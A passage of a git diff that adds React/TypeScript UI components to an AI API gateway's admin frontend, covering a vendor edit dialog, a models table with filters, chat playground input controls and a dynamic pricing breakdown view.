+        <div className='mt-8 flex items-center justify-center gap-3'>
+          <Button className='group rounded-lg' asChild>
+            <Link to='/sign-up'>
+              {t('Get Started')}
+              <ArrowRight className='ml-1 size-3.5 transition-transform duration-200 group-hover:translate-x-0.5' />
+            </Link>
+          </Button>
+          <Button
+            variant='outline'
+            className='border-border/50 hover:border-border hover:bg-muted/50 rounded-lg'
+            asChild
+          >
+            <Link to='/pricing'>{t('View Pricing')}</Link>
+          </Button>
+        </div>
+      </AnimateInView>
+    </section>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/models/components/dialogs/vendor-mutate-dialog.tsx b/_all-in-one-upload/new-api/web/default/src/features/models/components/dialogs/vendor-mutate-dialog.tsx
new file mode 100644
index 0000000..39e6da0
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/models/components/dialogs/vendor-mutate-dialog.tsx
@@ -0,0 +1,197 @@
+import { useEffect, useState } from 'react'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useQueryClient } from '@tanstack/react-query'
+import { Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Textarea } from '@/components/ui/textarea'
+import { createVendor, updateVendor } from '../../api'
+import { vendorsQueryKeys, modelsQueryKeys } from '../../lib'
+import { vendorFormSchema, type Vendor } from '../../types'
+
+type VendorMutateDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  currentVendor?: Vendor | null
+}
+
+export function VendorMutateDialog({
+  open,
+  onOpenChange,
+  currentVendor,
+}: VendorMutateDialogProps) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const isEdit = Boolean(currentVendor?.id)
+  const [isSaving, setIsSaving] = useState(false)
+
+  const form = useForm({
+    resolver: zodResolver(vendorFormSchema),
+    defaultValues: {
+      name: '',
+      description: '',
+      icon: '',
+      status: 1,
+    },
+  })
+
+  // Load vendor data for editing
+  useEffect(() => {
+    if (open && isEdit && currentVendor) {
+      form.reset({
+        id: currentVendor.id,
+        name: currentVendor.name,
+        description: currentVendor.description || '',
+        icon: currentVendor.icon || '',
+        status: currentVendor.status || 1,
+      })
+    } else if (open && !isEdit) {
+      form.reset({
+        name: '',
+        description: '',
+        icon: '',
+        status: 1,
+      })
+    }
+  }, [open, isEdit, currentVendor, form])
+
+  const onSubmit = async (values: Record<string, unknown>) => {
+    setIsSaving(true)
+    try {
+      const response = isEdit
+        ? await updateVendor({ ...values, id: currentVendor!.id })
+        : await createVendor(values)
+
+      if (response.success) {
+        toast.success(
+          isEdit ? 'Vendor updated successfully' : 'Vendor created successfully'
+        )
+        queryClient.invalidateQueries({ queryKey: vendorsQueryKeys.lists() })
+        queryClient.invalidateQueries({ queryKey: modelsQueryKeys.lists() })
+        onOpenChange(false)
+      } else {
+        toast.error(response.message || 'Operation failed')
+      }
+    } catch (error: unknown) {
+      toast.error((error as Error)?.message || 'Operation failed')
+    } finally {
+      setIsSaving(false)
+    }
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent>
+        <DialogHeader>
+          <DialogTitle>
+            {isEdit ? t('Edit Vendor') : t('Create Vendor')}
+          </DialogTitle>
+          <DialogDescription>
+            {isEdit
+              ? t('Update vendor information for {{name}}', {
+                  name: currentVendor?.name,
+                })
+              : t('Add a new vendor to the system')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Form {...form}>
+          <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-4'>
+            <FormField
+              control={form.control}
+              name='name'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Vendor Name *')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('OpenAI, Anthropic, etc.')}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('The unique name for this vendor')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='description'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Description')}</FormLabel>
+                  <FormControl>
+                    <Textarea
+                      placeholder={t('Describe this vendor...')}
+                      rows={3}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='icon'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Icon')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('OpenAI, Anthropic, Google, etc.')}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('@lobehub/icons key name')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => onOpenChange(false)}
+                disabled={isSaving}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button type='submit' disabled={isSaving}>
+                {isSaving && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+                {isSaving ? 'Saving...' : isEdit ? 'Update' : 'Create'}
+              </Button>
+            </DialogFooter>
+          </form>
+        </Form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/models/components/models-dialogs.tsx b/_all-in-one-upload/new-api/web/default/src/features/models/components/models-dialogs.tsx
new file mode 100644
index 0000000..44cf9ac
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/models/components/models-dialogs.tsx
@@ -0,0 +1,74 @@
+import { DescriptionDialog } from './dialogs/description-dialog'
+import { MissingModelsDialog } from './dialogs/missing-models-dialog'
+import { PrefillGroupManagement } from './dialogs/prefill-group-management'
+import { SyncWizardDialog } from './dialogs/sync-wizard-dialog'
+import { UpstreamConflictDialog } from './dialogs/upstream-conflict-dialog'
+import { VendorMutateDialog } from './dialogs/vendor-mutate-dialog'
+import { ModelMutateDrawer } from './drawers/model-mutate-drawer'
+import { useModels } from './models-provider'
+
+export function ModelsDialogs() {
+  const {
+    open,
+    setOpen,
+    currentRow,
+    currentVendor,
+    descriptionData,
+    setDescriptionData,
+  } = useModels()
+
+  return (
+    <>
+      {/* Model Create/Update Drawer */}
+      <ModelMutateDrawer
+        open={open === 'create-model' || open === 'update-model'}
+        onOpenChange={(v) => !v && setOpen(null)}
+        currentRow={currentRow}
+      />
+
+      {/* Vendor Create/Update Dialog */}
+      <VendorMutateDialog
+        open={open === 'create-vendor' || open === 'update-vendor'}
+        onOpenChange={(v) => !v && setOpen(null)}
+        currentVendor={open === 'update-vendor' ? currentVendor : null}
+      />
+
+      {/* Missing Models Dialog */}
+      <MissingModelsDialog
+        open={open === 'missing-models'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Sync Wizard Dialog */}
+      <SyncWizardDialog
+        open={open === 'sync-wizard'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Upstream Conflict Dialog */}
+      <UpstreamConflictDialog
+        open={open === 'upstream-conflict'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Prefill Groups Management */}
+      <PrefillGroupManagement
+        open={open === 'prefill-groups'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Description Dialog */}
+      <DescriptionDialog
+        open={open === 'description'}
+        onOpenChange={(v) => {
+          if (!v) {
+            setOpen(null)
+            setDescriptionData(null)
+          }
+        }}
+        modelName={descriptionData?.modelName || ''}
+        description={descriptionData?.description || ''}
+      />
+    </>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/models/components/models-table.tsx b/_all-in-one-upload/new-api/web/default/src/features/models/components/models-table.tsx
new file mode 100644
index 0000000..efed0bf
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/models/components/models-table.tsx
@@ -0,0 +1,326 @@
+import { useState, useMemo, useEffect } from 'react'
+import { useQuery } from '@tanstack/react-query'
+import { getRouteApi } from '@tanstack/react-router'
+import {
+  flexRender,
+  getCoreRowModel,
+  useReactTable,
+  type SortingState,
+  type VisibilityState,
+} from '@tanstack/react-table'
+import { useMediaQuery } from '@/hooks'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { useTableUrlState } from '@/hooks/use-table-url-state'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import {
+  DataTableToolbar,
+  TableSkeleton,
+  TableEmpty,
+  MobileCardList,
+} from '@/components/data-table'
+import { DataTablePagination } from '@/components/data-table/pagination'
+import { PageFooterPortal } from '@/components/layout'
+import { getModels, searchModels, getVendors } from '../api'
+import {
+  DEFAULT_PAGE_SIZE,
+  getModelStatusOptions,
+  getSyncStatusOptions,
+} from '../constants'
+import { modelsQueryKeys, vendorsQueryKeys } from '../lib'
+import { DataTableBulkActions } from './data-table-bulk-actions'
+import { useModelsColumns } from './models-columns'
+import { useModels } from './models-provider'
+
+const route = getRouteApi('/_authenticated/models/$section')
+
+export function ModelsTable() {
+  const { t } = useTranslation()
+  const { selectedVendor } = useModels()
+  const isMobile = useMediaQuery('(max-width: 640px)')
+
+  // Table state
+  const [sorting, setSorting] = useState<SortingState>([])
+  const [columnVisibility, setColumnVisibility] = useState<VisibilityState>({
+    description: false,
+    bound_channels: false,
+    quota_types: false,
+  })
+  const [rowSelection, setRowSelection] = useState({})
+
+  // URL state management
+  const {
+    globalFilter,
+    onGlobalFilterChange,
+    columnFilters,
+    onColumnFiltersChange,
+    pagination,
+    onPaginationChange,
+    ensurePageInRange,
+  } = useTableUrlState({
+    search: route.useSearch(),
+    navigate: route.useNavigate(),
+    pagination: { defaultPage: 1, defaultPageSize: DEFAULT_PAGE_SIZE },
+    globalFilter: { enabled: true, key: 'filter' },
+    columnFilters: [
+      { columnId: 'status', searchKey: 'status', type: 'array' },
+      { columnId: 'vendor_id', searchKey: 'vendor', type: 'array' },
+      { columnId: 'sync_official', searchKey: 'sync', type: 'array' },
+    ],
+  })
+
+  // Extract filters from column filters
+  const statusFilter =
+    (columnFilters.find((f) => f.id === 'status')?.value as string[]) || []
+  const vendorFilter =
+    (columnFilters.find((f) => f.id === 'vendor_id')?.value as string[]) || []
+  const syncFilter =
+    (columnFilters.find((f) => f.id === 'sync_official')?.value as string[]) ||
+    []
+
+  // Fetch vendors for filter
+  const { data: vendorsData } = useQuery({
+    queryKey: vendorsQueryKeys.list(),
+    queryFn: () => getVendors({ page_size: 1000 }),
+  })
+
+  const vendors = useMemo(
+    () => vendorsData?.data?.items || [],
+    [vendorsData?.data?.items]
+  )
+
+  const vendorOptions = useMemo(() => {
+    return vendors.map((v) => ({
+      label: v.name,
+      value: String(v.id),
+    }))
+  }, [vendors])
+
+  // Determine whether to use search or regular list API
+  const shouldSearch = Boolean(globalFilter?.trim())
+
+  // Apply selected vendor from context or filter
+  const activeVendorFilter =
+    selectedVendor ||
+    (vendorFilter.length > 0 && !vendorFilter.includes('all')
+      ? vendorFilter[0]
+      : undefined)
+
+  // Fetch models data
+  // eslint-disable-next-line @tanstack/query/exhaustive-deps
+  const { data, isLoading, isFetching } = useQuery({
+    queryKey: modelsQueryKeys.list({
+      keyword: globalFilter,
+      vendor: activeVendorFilter,
+      status:
+        statusFilter.length > 0 && !statusFilter.includes('all')
+          ? statusFilter[0]
+          : undefined,
+      sync_official:
+        syncFilter.length > 0 && !syncFilter.includes('all')
+          ? syncFilter[0]
+          : undefined,
+      p: pagination.pageIndex + 1,
+      page_size: pagination.pageSize,
+    }),
+    queryFn: async () => {
+      if (shouldSearch || activeVendorFilter) {
+        return searchModels({
+          keyword: globalFilter,
+          vendor: activeVendorFilter,
+          status:
+            statusFilter.length > 0 && !statusFilter.includes('all')
+              ? statusFilter[0]
+              : undefined,
+          sync_official:
+            syncFilter.length > 0 && !syncFilter.includes('all')
+              ? syncFilter[0]
+              : undefined,
+          p: pagination.pageIndex + 1,
+          page_size: pagination.pageSize,
+        })
+      } else {
+        return getModels({
+          status:
+            statusFilter.length > 0 && !statusFilter.includes('all')
+              ? statusFilter[0]
+              : undefined,
+          sync_official:
+            syncFilter.length > 0 && !syncFilter.includes('all')
+              ? syncFilter[0]
+              : undefined,
+          p: pagination.pageIndex + 1,
+          page_size: pagination.pageSize,
+        })
+      }
+    },
+    placeholderData: (previousData) => previousData,
+  })
+
+  const models = data?.data?.items || []
+  const totalCount = data?.data?.total || 0
+  const vendorCounts = data?.data?.vendor_counts
+
+  // Columns configuration
+  const columns = useModelsColumns(vendors)
+
+  // React Table instance
+  const table = useReactTable({
+    data: models,
+    columns,
+    pageCount: Math.ceil(totalCount / pagination.pageSize),
+    state: {
+      sorting,
+      columnFilters,
+      columnVisibility,
+      rowSelection,
+      pagination,
+      globalFilter,
+    },
+    enableRowSelection: true,
+    onRowSelectionChange: setRowSelection,
+    onSortingChange: setSorting,
+    onColumnFiltersChange,
+    onColumnVisibilityChange: setColumnVisibility,
+    onPaginationChange,
+    onGlobalFilterChange,
+    getCoreRowModel: getCoreRowModel(),
+    manualPagination: true,
+    manualSorting: true,
+    manualFiltering: true,
+  })
+
+  // Ensure page is in range when total count changes
+  const pageCount = table.getPageCount()
+  useEffect(() => {
+    ensurePageInRange(pageCount)
+  }, [pageCount, ensurePageInRange])
+
+  // Prepare filter options
+  const vendorFilterOptions = [
+    {
+      label: `${t('All Vendors')}${vendorCounts?.all ? ` (${vendorCounts.all})` : ''}`,
+      value: 'all',
+    },
+    ...vendorOptions.map((option) => ({
+      label: `${option.label}${vendorCounts?.[option.value] ? ` (${vendorCounts[option.value]})` : ''}`,
+      value: option.value,
+    })),
+  ]
+
+  return (
+    <>
+      <div className='space-y-4'>
+        <DataTableToolbar
+          table={table}
+          searchPlaceholder={t('Filter by model name...')}
+          filters={[
+            {
+              columnId: 'status',
+              title: t('Status'),
+              options: [...getModelStatusOptions(t)],
+              singleSelect: true,
+            },
+            {
+              columnId: 'vendor_id',
+              title: t('Vendor'),
+              options: vendorFilterOptions,
+              singleSelect: true,
+            },
+            {
+              columnId: 'sync_official',
+              title: t('Official Sync'),
+              options: [...getSyncStatusOptions(t)],
+              singleSelect: true,
+            },
+          ]}
+        />
+
+        {isMobile ? (
+          <MobileCardList
+            table={table}
+            isLoading={isLoading}
+            emptyTitle={t('No Models Found')}
+            emptyDescription={t(
+              'No models available. Create your first model to get started.'
+            )}
+          />
+        ) : (
+          <>
+            <div
+              className={cn(
+                'overflow-hidden rounded-md border transition-opacity duration-150',
+                isFetching && !isLoading && 'pointer-events-none opacity-50'
+              )}
+            >
+              <Table>
+                <TableHeader>
+                  {table.getHeaderGroups().map((headerGroup) => (
+                    <TableRow key={headerGroup.id}>
+                      {headerGroup.headers.map((header) => (
+                        <TableHead
+                          key={header.id}
+                          style={{ width: header.getSize() }}
+                        >
+                          {header.isPlaceholder
+                            ? null
+                            : flexRender(
+                                header.column.columnDef.header,
+                                header.getContext()
+                              )}
+                        </TableHead>
+                      ))}
+                    </TableRow>
+                  ))}
+                </TableHeader>
+                <TableBody>
+                  {isLoading ? (
+                    <TableSkeleton table={table} keyPrefix='model-skeleton' />
+                  ) : table.getRowModel().rows.length === 0 ? (
+                    <TableEmpty
+                      colSpan={columns.length}
+                      title={t('No Models Found')}
+                      description={t(
+                        'No models available. Create your first model to get started.'
+                      )}
+                    />
+                  ) : (
+                    table.getRowModel().rows.map((row) => (
+                      <TableRow
+                        key={row.id}
+                        data-state={row.getIsSelected() && 'selected'}
+                      >
+                        {row.getVisibleCells().map((cell) => (
+                          <TableCell key={cell.id}>
+                            {flexRender(
+                              cell.column.columnDef.cell,
+                              cell.getContext()
+                            )}
+                          </TableCell>
+                        ))}
+                      </TableRow>
+                    ))
+                  )}
+                </TableBody>
+              </Table>
+            </div>
+
+            <DataTableBulkActions table={table} />
+          </>
+        )}
+      </div>
+      <PageFooterPortal>
+        <DataTablePagination
+          table={table as ReturnType<typeof useReactTable>}
+        />
+      </PageFooterPortal>
+    </>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/playground/components/message-action-button.tsx b/_all-in-one-upload/new-api/web/default/src/features/playground/components/message-action-button.tsx
new file mode 100644
index 0000000..61e55cd
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/playground/components/message-action-button.tsx
@@ -0,0 +1,51 @@
+import type { LucideIcon } from 'lucide-react'
+import { Button } from '@/components/ui/button'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { MESSAGE_ACTION_BUTTON_STYLES } from '../constants'
+
+interface MessageActionButtonProps {
+  icon: LucideIcon
+  label: string
+  onClick: () => void
+  disabled?: boolean
+  className?: string
+  variant?: 'default' | 'destructive'
+}
+
+export function MessageActionButton({
+  icon: Icon,
+  label,
+  onClick,
+  disabled = false,
+  className = '',
+  variant = 'default',
+}: MessageActionButtonProps) {
+  const baseStyle =
+    variant === 'destructive'
+      ? MESSAGE_ACTION_BUTTON_STYLES.DELETE
+      : MESSAGE_ACTION_BUTTON_STYLES.BASE
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <Button
+          variant='ghost'
+          size='icon'
+          className={`${baseStyle} ${className}`}
+          onClick={onClick}
+          disabled={disabled}
+          aria-label={label}
+        >
+          <Icon className={MESSAGE_ACTION_BUTTON_STYLES.ICON} />
+        </Button>
+      </TooltipTrigger>
+      <TooltipContent>
+        <p>{label}</p>
+      </TooltipContent>
+    </Tooltip>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/playground/components/playground-input.tsx b/_all-in-one-upload/new-api/web/default/src/features/playground/components/playground-input.tsx
new file mode 100644
index 0000000..4587d2b
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/playground/components/playground-input.tsx
@@ -0,0 +1,222 @@
+import { useState } from 'react'
+import {
+  PaperclipIcon,
+  FileIcon,
+  ImageIcon,
+  ScreenShareIcon,
+  CameraIcon,
+  GlobeIcon,
+  SendIcon,
+  SquareIcon,
+  BarChartIcon,
+  BoxIcon,
+  NotepadTextIcon,
+  CodeSquareIcon,
+  GraduationCapIcon,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import {
+  PromptInput,
+  PromptInputButton,
+  PromptInputFooter,
+  PromptInputTextarea,
+  PromptInputTools,
+  type PromptInputMessage,
+} from '@/components/ai-elements/prompt-input'
+import { Suggestion, Suggestions } from '@/components/ai-elements/suggestion'
+import { ModelGroupSelector } from '@/components/model-group-selector'
+import type { ModelOption, GroupOption } from '../types'
+
+interface PlaygroundInputProps {
+  onSubmit: (text: string) => void
+  onStop?: () => void
+  disabled?: boolean
+  isGenerating?: boolean
+  models: ModelOption[]
+  modelValue: string
+  onModelChange: (value: string) => void
+  isModelLoading?: boolean
+  groups: GroupOption[]
+  groupValue: string
+  onGroupChange: (value: string) => void
+}
+
+const suggestions = [
+  { icon: BarChartIcon, text: 'Analyze data', color: '#76d0eb' },
+  { icon: BoxIcon, text: 'Surprise me', color: '#76d0eb' },
+  { icon: NotepadTextIcon, text: 'Summarize text', color: '#ea8444' },
+  { icon: CodeSquareIcon, text: 'Code', color: '#6c71ff' },
+  { icon: GraduationCapIcon, text: 'Get advice', color: '#76d0eb' },
+  { icon: null, text: 'More' },
+]
+
+export function PlaygroundInput({
+  onSubmit,
+  onStop,
+  disabled,
+  isGenerating,
+  models,
+  modelValue,
+  onModelChange,
+  isModelLoading = false,
+  groups,
+  groupValue,
+  onGroupChange,
+}: PlaygroundInputProps) {
+  const { t } = useTranslation()
+  const [text, setText] = useState('')
+
+  const isModelSelectDisabled =
+    disabled || isModelLoading || models.length === 0
+  const isGroupSelectDisabled = disabled || groups.length === 0
+
+  const handleSubmit = (message: PromptInputMessage) => {
+    if (!message.text?.trim() || disabled) return
+    onSubmit(message.text)
+    setText('')
+  }
+
+  const handleFileAction = (action: string) => {
+    toast.info(t('Feature in development'), {
+      description: action,
+    })
+  }
+
+  const handleSuggestionClick = (suggestion: string) => {
+    onSubmit(suggestion)
+  }
+
+  return (
+    <div className='grid shrink-0 gap-4 px-1 md:pb-4'>
+      <PromptInput
+        groupClassName='rounded-[20px] [--radius:20px]'
+        onSubmit={handleSubmit}
+      >
+        <PromptInputTextarea
+          autoComplete='off'
+          autoCorrect='off'
+          autoCapitalize='off'
+          spellCheck={false}
+          className='px-5 md:text-base'
+          disabled={disabled}
+          onChange={(event) => setText(event.target.value)}
+          placeholder={t('Ask anything')}
+          value={text}
+        />
+
+        <PromptInputFooter className='p-2.5'>
+          <PromptInputTools>
+            <DropdownMenu>
+              <DropdownMenuTrigger asChild>
+                <PromptInputButton
+                  className='!rounded-full border font-medium'
+                  disabled={disabled}
+                  variant='outline'
+                >
+                  <PaperclipIcon size={16} />
+                  <span className='hidden sm:inline'>{t('Attach')}</span>
+                  <span className='sr-only sm:hidden'>{t('Attach')}</span>
+                </PromptInputButton>
+              </DropdownMenuTrigger>
+              <DropdownMenuContent align='start'>
+                <DropdownMenuItem
+                  onClick={() => handleFileAction('upload-file')}
+                >
+                  <FileIcon className='mr-2' size={16} />
+                  {t('Upload file')}
+                </DropdownMenuItem>
+                <DropdownMenuItem
+                  onClick={() => handleFileAction('upload-photo')}
+                >
+                  <ImageIcon className='mr-2' size={16} />
+                  {t('Upload photo')}
+                </DropdownMenuItem>
+                <DropdownMenuItem
+                  onClick={() => handleFileAction('take-screenshot')}
+                >
+                  <ScreenShareIcon className='mr-2' size={16} />
+                  {t('Take screenshot')}
+                </DropdownMenuItem>
+                <DropdownMenuItem
+                  onClick={() => handleFileAction('take-photo')}
+                >
+                  <CameraIcon className='mr-2' size={16} />
+                  {t('Take photo')}
+                </DropdownMenuItem>
+              </DropdownMenuContent>
+            </DropdownMenu>
+
+            <PromptInputButton
+              className='rounded-full border font-medium'
+              disabled={disabled}
+              onClick={() => toast.info(t('Search feature in development'))}
+              variant='outline'
+            >
+              <GlobeIcon size={16} />
+              <span className='hidden sm:inline'>{t('Search')}</span>
+              <span className='sr-only sm:hidden'>{t('Search')}</span>
+            </PromptInputButton>
+          </PromptInputTools>
+
+          <div className='flex items-center gap-1.5 md:gap-2'>
+            <ModelGroupSelector
+              selectedModel={modelValue}
+              models={models}
+              onModelChange={onModelChange}
+              selectedGroup={groupValue}
+              groups={groups}
+              onGroupChange={onGroupChange}
+              disabled={isModelSelectDisabled || isGroupSelectDisabled}
+            />
+
+            {isGenerating && onStop ? (
+              <PromptInputButton
+                className='text-foreground rounded-full font-medium'
+                onClick={onStop}
+                variant='secondary'
+              >
+                <SquareIcon className='fill-current' size={16} />
+                <span className='hidden sm:inline'>{t('Stop')}</span>
+                <span className='sr-only sm:hidden'>{t('Stop')}</span>
+              </PromptInputButton>
+            ) : (
+              <PromptInputButton
+                className='text-foreground rounded-full font-medium'
+                disabled={disabled || !text.trim()}
+                type='submit'
+                variant='secondary'
+              >
+                <SendIcon size={16} />
+                <span className='hidden sm:inline'>{t('Send')}</span>
+                <span className='sr-only sm:hidden'>{t('Send')}</span>
+              </PromptInputButton>
+            )}
+          </div>
+        </PromptInputFooter>
+      </PromptInput>
+
+      <Suggestions>
+        {suggestions.map(({ icon: Icon, text, color }) => (
+          <Suggestion
+            className={`text-xs font-normal sm:text-sm ${
+              text === 'More' ? 'hidden sm:flex' : ''
+            }`}
+            key={text}
+            onClick={() => handleSuggestionClick(text)}
+            suggestion={text}
+          >
+            {Icon && <Icon size={16} style={{ color }} />}
+            {text}
+          </Suggestion>
+        ))}
+      </Suggestions>
+    </div>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/pricing/components/dynamic-pricing-breakdown.tsx b/_all-in-one-upload/new-api/web/default/src/features/pricing/components/dynamic-pricing-breakdown.tsx
new file mode 100644
index 0000000..90e6aee
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/pricing/components/dynamic-pricing-breakdown.tsx
@@ -0,0 +1,334 @@
+import { useMemo } from 'react'
+import { Tag as TagIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { useSystemConfigStore } from '@/stores/system-config-store'
+import { cn } from '@/lib/utils'
+import { Badge } from '@/components/ui/badge'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import {
+  BILLING_PRICING_VARS,
+  MATCH_CONTAINS,
+  MATCH_EQ,
+  MATCH_EXISTS,
+  MATCH_GTE,
+  MATCH_LT,
+  MATCH_RANGE,
+  SOURCE_TIME,
+  parseTiersFromExpr,
+  splitBillingExprAndRequestRules,
+  tryParseRequestRuleExpr,
+  type ParsedTier,
+  type RequestCondition,
+  type RequestRuleGroup,
+  type TierCondition,
+} from '../lib/billing-expr'
+
+type DynamicPricingBreakdownProps = {
+  billingExpr: string | null | undefined
+  /**
+   * Label of the tier that fired for the current request. When provided,
+   * the corresponding row is highlighted and tagged as "Matched". Used by
+   * the usage-log details dialog to show which tier the engine selected.
+   */
+  matchedTierLabel?: string | null
+  /**
+   * Hide cache-pricing columns regardless of the per-tier values. The log
+   * details dialog passes this when the actual request did not consume any
+   * cache tokens, so users only see pricing rows that were relevant to the
+   * call they are inspecting. Defaults to false (show all configured prices).
+   */
+  hideCacheColumns?: boolean
+}
+
+const VAR_LABELS: Record<string, string> = {
+  p: 'Input',
+  c: 'Output',
+  len: 'Length',
+}
+const OP_LABELS: Record<string, string> = {
+  '<': '<',
+  '<=': '≤',
+  '>': '>',
+  '>=': '≥',
+}
+const TIME_FUNC_LABELS: Record<string, string> = {
+  hour: 'Hour',
+  minute: 'Minute',
+  weekday: 'Weekday',
+  month: 'Month',
+  day: 'Day',
+}
+
+function formatTokenHint(value: string | number): string {
+  const n = Number(value)
+  if (!Number.isFinite(n) || n === 0) return ''
+  if (n >= 1_000_000) {
+    return `${(n / 1_000_000).toFixed(n % 1_000_000 === 0 ? 0 : 1)}M`
+  }
+  if (n >= 1000) {
+    return `${(n / 1000).toFixed(n % 1000 === 0 ? 0 : 1)}K`
+  }
+  return String(n)
+}
+
+function formatConditionSummary(
+  conditions: TierCondition[],
+  t: (key: string) => string
+): string {
+  return conditions
+    .map((c) => {
+      const varLabel = t(VAR_LABELS[c.var] || c.var)
+      const hint = formatTokenHint(c.value)
+      return `${varLabel} ${OP_LABELS[c.op] || c.op} ${hint || c.value}`
+    })
+    .filter(Boolean)
+    .join(' && ')
+}
+
+function describeCondition(
+  cond: RequestCondition,
+  t: (key: string) => string
+): string {
+  if (cond.source === SOURCE_TIME) {
+    const fn = t(TIME_FUNC_LABELS[cond.timeFunc] || cond.timeFunc)
+    const tz = cond.timezone || 'UTC'
+    if (cond.mode === MATCH_RANGE) {
+      return `${fn} ${cond.rangeStart}:00~${cond.rangeEnd}:00 (${tz})`
+    }
+    const opMap: Record<string, string> = {
+      [MATCH_EQ]: '=',
+      [MATCH_GTE]: '≥',
+      [MATCH_LT]: '<',
+    }
+    return `${fn} ${opMap[cond.mode] || '='} ${cond.value} (${tz})`
+  }
+  const src = cond.source === 'header' ? t('Header') : t('Body param')
+  const path = cond.path || ''
+  if (cond.mode === MATCH_EXISTS) return `${src} ${path} ${t('Exists')}`
+  if (cond.mode === MATCH_CONTAINS) {
+    return `${src} ${path} ${t('Contains')} "${cond.value}"`
+  }
+  const opMap: Record<string, string> = {
+    eq: '=',
+    gt: '>',
+    gte: '≥',
+    lt: '<',
+    lte: '≤',
+  }
+  return `${src} ${path} ${opMap[cond.mode] || '='} ${cond.value}`
+}
+
+function describeGroup(
+  group: RequestRuleGroup,
+  t: (key: string) => string
+): string {
+  return (group.conditions || [])
+    .map((c) => describeCondition(c, t))
+    .join(' && ')
+}
+
+export function DynamicPricingBreakdown({
+  billingExpr,
+  matchedTierLabel,
+  hideCacheColumns = false,
+}: DynamicPricingBreakdownProps) {
+  const { t } = useTranslation()
+  const expr = billingExpr || ''
+  const currency = useSystemConfigStore((s) => s.config.currency)
+
+  const { symbol, rate } = useMemo(() => {
+    if (currency.quotaDisplayType === 'CNY') {
+      return { symbol: '¥', rate: currency.usdExchangeRate || 7 }
+    }
+    if (currency.quotaDisplayType === 'CUSTOM') {
+      return {
+        symbol: currency.customCurrencySymbol || '¤',
+        rate: currency.customCurrencyExchangeRate || 1,
+      }
+    }
+    return { symbol: '$', rate: 1 }
+  }, [currency])
+
+  const priceSuffix = `${symbol}/1M tokens`
+
+  const { tiers, ruleGroups, baseExpr } = useMemo(() => {
+    const split = splitBillingExprAndRequestRules(expr)
+    const parsedTiers = parseTiersFromExpr(split.billingExpr)
+    const parsedRules = tryParseRequestRuleExpr(split.requestRuleExpr || '')
+    return {
+      baseExpr: split.billingExpr,
+      tiers: parsedTiers,
+      ruleGroups: parsedRules || [],
+    }
+  }, [expr])
+
+  const hasTiers = tiers.length > 0
+  const hasRules = ruleGroups.length > 0
+
+  if (!expr) return null
+
+  if (!hasTiers && !hasRules) {
+    return (
+      <section className='min-w-0 py-4'>
+        <div className='mb-3 flex items-center gap-2'>
+          <span className='inline-flex size-6 items-center justify-center rounded-full bg-amber-100 text-amber-700 shadow-sm dark:bg-amber-500/20 dark:text-amber-300'>
+            <TagIcon className='size-3.5' />
